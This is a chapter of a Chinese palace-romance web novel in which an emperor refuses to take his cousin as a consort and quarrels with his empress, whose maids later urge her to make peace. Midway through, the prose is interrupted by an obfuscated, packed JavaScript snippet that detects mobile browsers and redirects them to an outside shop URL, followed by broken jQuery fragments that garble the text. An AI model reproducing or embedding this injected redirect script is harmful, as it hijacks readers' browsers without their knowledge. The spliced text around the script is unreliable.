61. 求和

作品:《退婚之后(重生)

    “为什么?”


    她抬头望着萧御,眼底闪着强烈的质疑。


    “朕从未想过要让她进宫。”


    他没有解释,可这样不明不白的回答却不能消除晏宁心底的疑惑。


    于是她直勾勾地注视着他,固执地等待一个合理的解答。


    “她不符合甄选的条件。”


    萧御没有回避她探寻的眼神,给出的答案却近乎敷衍。


    “没什么符不符合,只要你愿意,任何事情都可以破例。我想听的是真正的原因。”


    既然问了,就要寻根究底,而不是任他糊弄、草草了事。


    看着她眼底的执着,萧御眉心一紧,开口斥退了随侍的宫婢。


    “你们都退下!”


    等众人躬身离去后,他才再度凝眸,神色肃然地看向晏宁。


    “她是朕的表妹,亦是血脉相连的亲人。”


    “所以呢?这和她不能入宫有什么关系?”


    青梅竹马、亲上加亲,这几乎是所有人都乐见其成且顺理成章的好事。


    “你还不明白吗?在朕心里,意柔永远都只会是表妹。”


    墨色的瞳孔里一片澄净,满是坦荡和赤诚。


    她听得一愣,眼底覆满了惊讶,胸腔内却瞬间翻涌起一股莫名的情绪。


    “可她喜欢你……”


    “难道就因为她喜欢,朕便要将她纳入后宫吗?”


    望着她讶异的目光,萧御不由得皱起眉头。


    晏宁再度愣住,良久才回过神来,眸中满是不可思议:“你们不是亲梅竹马吗?”


    “不是所有在一起长大的人都叫亲梅竹马,对朕而言,她只是一个乖巧讨喜的表妹。”


    他目光平和,语气诚恳,眼底没有半分撒谎的痕迹。


    晏宁也知道,萧御压根就没有骗她的必要。


    可他的回答和明漪所述相去甚远,以致于她一时半会还无法理清思绪。


    “你难道不喜欢她?”


    她长得那么美,又对他深情如许,他就一点都不动容吗?


    “朕对她,从始至终都只有兄妹之情。”


    这样的回答本该是一种安抚,可晏宁在庆幸之余,却又生出了一股不合时宜的怜悯。


    “可她为你耽误了这么些年,你就不怕她伤心吗?”


    “你就这么想让她进宫吗?”


    萧御没有直接回答,而是意味不明地望着她,眸光又深又暗。


    晏宁被他问的一愣,而后悄然垂眸,浓密的睫毛不自然地煽动着,像是在逃避什么。


    “你总要给她和梁家一个交代不是吗?”


    从始至终,她都是在为萧御考虑。怕他为难,所以哪怕心里委屈,她还是做好了让梁意柔入宫的准备。


    她从不觉得自己的想法重要,也没想到萧御会来问她。


    “殿试之后,朕会从中举的进士中为她择选可托付终生的良人。”


    他的嗓音依旧低沉,目光却透着坚毅,很显然这并不是临时起意的决定,而是深思熟虑后的结论。


    “她不会接愿意的。”


    那日的场景历历在目,她至今还记得梁意柔含泪看向萧御的神情。


    她的爱意太过热烈,也从未想过遮掩,像是笃定了萧御会和她一样怀念从前。


    可一别多年,她终究还是错估了一切。


    “朕已亲手将她的名字划去,无论她愿不愿意,都再无入宫的可能。”


    他神色冷硬,没有丝毫的动摇和怜悯,果断到连晏宁都觉得薄情。


    “你这么做就不怕她会闹吗?”


    就算真的不喜欢,也不该做的这么绝吧?


    她的目光饱含质疑,甚至还流露出些许批判和苛责,可萧御却坦然地迎了上去。


    “你或许会觉得朕残忍,可让她入宫才真的会害她葬送终身。”


    他眸光一抬,幽深的瞳孔中浮动着一抹坚决:“朕给不了她想要的。”


    他虽没有明说,但晏宁还是瞬间就听懂了。


    同为女子,她自然知道梁意柔想要的是什么。


    她抬眸看向萧御,心中却是五味杂陈。


    身为帝王,他足够无情,却又真诚坦荡。


    后宫之中千金易求,真心却最是难得。像她那样单纯柔弱的女子,若是没有真心怜爱,怕是一天也过不下去。


    “她未必能懂你的良苦用心。”


    看着她眼中的悲悯,萧御眸光一转,忽而俯首凑近。


    “晏宁……”


    突如其来的呼唤听得她心头一震,她愕然抬眸,却对上了一双探寻的眼神。


    “你就这么希望她入宫吗?”


    这一句质询饱含讥讽,以致于她喉咙一紧,只能讪讪地移开了视线。


    然而下一刻,萧御就伸手扳正了她侧转的脸。


    四目相对的一刹那,他幽深的瞳孔中清晰地倒映出了她的面容,以及眼底那无处安放的慌乱。


    “怎么不说话了,嗯?”


    他将尾音拖得很长,长到近乎戏谑。晏宁呼吸一紧,连心跳都有些杂乱无章。


    他靠得很近,近到她能清晰地感受到他略显灼热的呼吸。


    这样的距离让她没来由的感到心慌,一颗心不住地上下扑腾。


    “我……”她不安地咬了咬唇,“我是为了你好……”


    听了她的回答,萧御喜怒不明地轻笑一声,捏在她颊上的手更紧了几分。


    “为朕好?”


    即便心慌得厉害,她还是故作镇定地直视着他:“娶了她,就不会辜负梁家,也不会落下薄情的名声。”


    “你在乎吗?”


    他深深地望着她,目光锐利得像是要穿透她的灵魂。


    “我若不在乎,又怎会为你筹谋?”


    她谨守着盟友的本分,始终在为他着想。可她话音刚落,萧御的面色就肉眼可见的冷了下来。


    “你若是在乎,就不会将朕推给旁人。”


    看着他眼底透出的失望,晏宁呼吸一紧,就这么无措地怔住了。


    她不明白萧御的眼中为何会有失望,也不明白他为何要说这些似是而非的话。


    他们一早就约定好了的,她留下来做皇后,他会许她自由。


    她以为他们已经达成了共识,可现在,他却生出了不该有的心思。


    漫长的沉默后,晏宁的眸光一点一点地暗了下去。


    “我们是盟友。”


    那双杏眸里充满了冷淡和疏离,再无往日的温柔沉静。


    “到现在,你还觉得我们之间只是盟友的关系吗?”


    他依旧是那副失望的表情,只是语气愈发森冷。


    “不然呢?”


    这一次她没有逃避,而是冷静从容地回望着他。


    “我们是夫妻!”


    这句话他说过很多遍,她却从未真的记在心里。


    “皇家没有夫妻。”


    她不认为出身皇室的萧御会不明白这个道理,可他的态度还是让她大为震惊。


    “你是不是从来都没有把朕当成夫君?”


    幽深的眼眸里似有波涛翻涌,堆起了无边的怒气。可尽管悲愤交加,他仍在极力克制着,生怕吓到她。


    愤怒之余,他的手不断收紧,捏得她颊骨生痛。


    在他诘责的注视下,晏宁却选择了沉默。


    漫长的僵持后,萧御眸光一阖,痛心地松开了手。


    他知道她向往自由,却还是自私将她困在了身边。以为只要对她好,就能打开她的心门,真正地走进去。


    可他还是高估了自己。


    转身的那一刻,他自嘲地勾起了唇角。


    “晏宁……”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974792|184108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他的背影依旧高大,却像极了长宁殿外的那道宫墙,冷肃庄严,又无比寂寥。


    低沉的嗓音里裹满了无力的哀伤,流露出一股她从未听过的丧气。


    “你有心吗?”


    留下一句悲凉的诘问后,他便头也不回地推门而去。


    砰的一声,震住了无数守在门外的宫人。


    望着那抹渐行渐远的冷硬背影,晏宁心口一紧,憋闷得几乎喘不过气。


    “娘娘……”


    良久之后,青橘凝重地走回殿里,面上浮满了忧虑。


    “您和皇上是不是吵架了?”


    隔着一道厚实的殿门,她们什么都听不清,可若不是起了争执,萧御不会愤然离去。


    迎着青橘担忧的注视,晏宁苦闷地垂下了眼帘。


    她的心里很乱,乱到连呼吸都有些发颤。


    她从来都不知道萧御的心思,也压根就没想过他会喜欢自己。


    一切都始于利益交换,他们之间不该有超越盟友的关系。


    哪怕成了亲,有了床·第间的欢愉,他也不该动心的。


    她越来越看不懂萧御,也理不清这混乱的思绪,只能憋闷地捏住桌沿。


    看着她颓然的姿态,青橘没再追问,却忧心如焚地咬了咬唇。


    ***


    晚膳一口没吃,原封不动地撤了下去。


    夜色越来越深,殿门外却一片寂静。


    萧御不会来了!


    意识到这一点后,晏宁默默地起身上榻:“把烛火熄了吧。”


    闻言,青杏转头看了一眼窗外,而后叹息着劝道,“娘娘,还是再等一会儿吧……”


    “不必了!”


    再怎么等,他也不会来的,她又何必自取其辱?


    “娘娘,您就不能对皇上软和些吗?再这么下去,也不必等秀女进宫,他就要和您生分了……”


    明知她听不进去,青橘还是忍不住一劝再劝。


    “后宫不比前朝,若没有圣上荣宠、子嗣傍身,再聪明能干又有什么用,到最后还不是为他人做嫁衣?”


    见晏宁抿唇不语,青杏眸光一转,也跟着温声劝道:“娘娘,青橘的话虽不中听,却也是有几分道理的。宫里波诡云谲、争斗不断,只有牢牢抓住皇上,早些诞下太子,才可保日后无忧。”


    闻言,晏宁幽幽抬眸,眼底却满是无可奈何。


    “你们都劝本宫邀宠,可以色侍人又能得几时好?”


    “娘娘,您这么想就不对了。就算是在寻常百姓家里,做妻子的也会千方百计地拢住丈夫的心,更何况是在这靠恩宠而存活的宫里呢?”


    “就算是作客,也要讲究一个礼尚往来,总不能回回都要皇上主动来找您吧?”


    不同于青橘的急躁,青杏嗓音温柔,却句句都说在了点子上。


    “就好比今日,皇上负气不来,您若放着不管,就只会越闹越僵,长此以往,夫妻之情必受损伤。”


    想到先前的争执,晏宁眸光一闪,心底再次翻涌出一股怅惘。


    “那你说,本宫该怎么做?”


    “听说皇上也没用晚膳,娘娘何不带些点心吃食,去长宁殿走一趟?”


    “他若是不肯见我呢?”


    一想到他失望的眼神,晏宁心中就打起了退堂鼓。


    若是真的被拒之门外,往后又该如何是好?


    将她的畏缩看在眼里,青杏笑着鼓励道:“您若是去了,他一定会见您的。”


    “何以见得?”


    看着她自信满满的眼神,晏宁心中更是疑惑。


    “娘娘,您就放心去吧,皇上不是那么心胸狭隘的人。”


    见她如此犹豫,沉默多时的青橘终是忍不住开口游说。


    望着二人笃定的眼神,晏宁这才压下心间的惶惑,凝重地点了点头。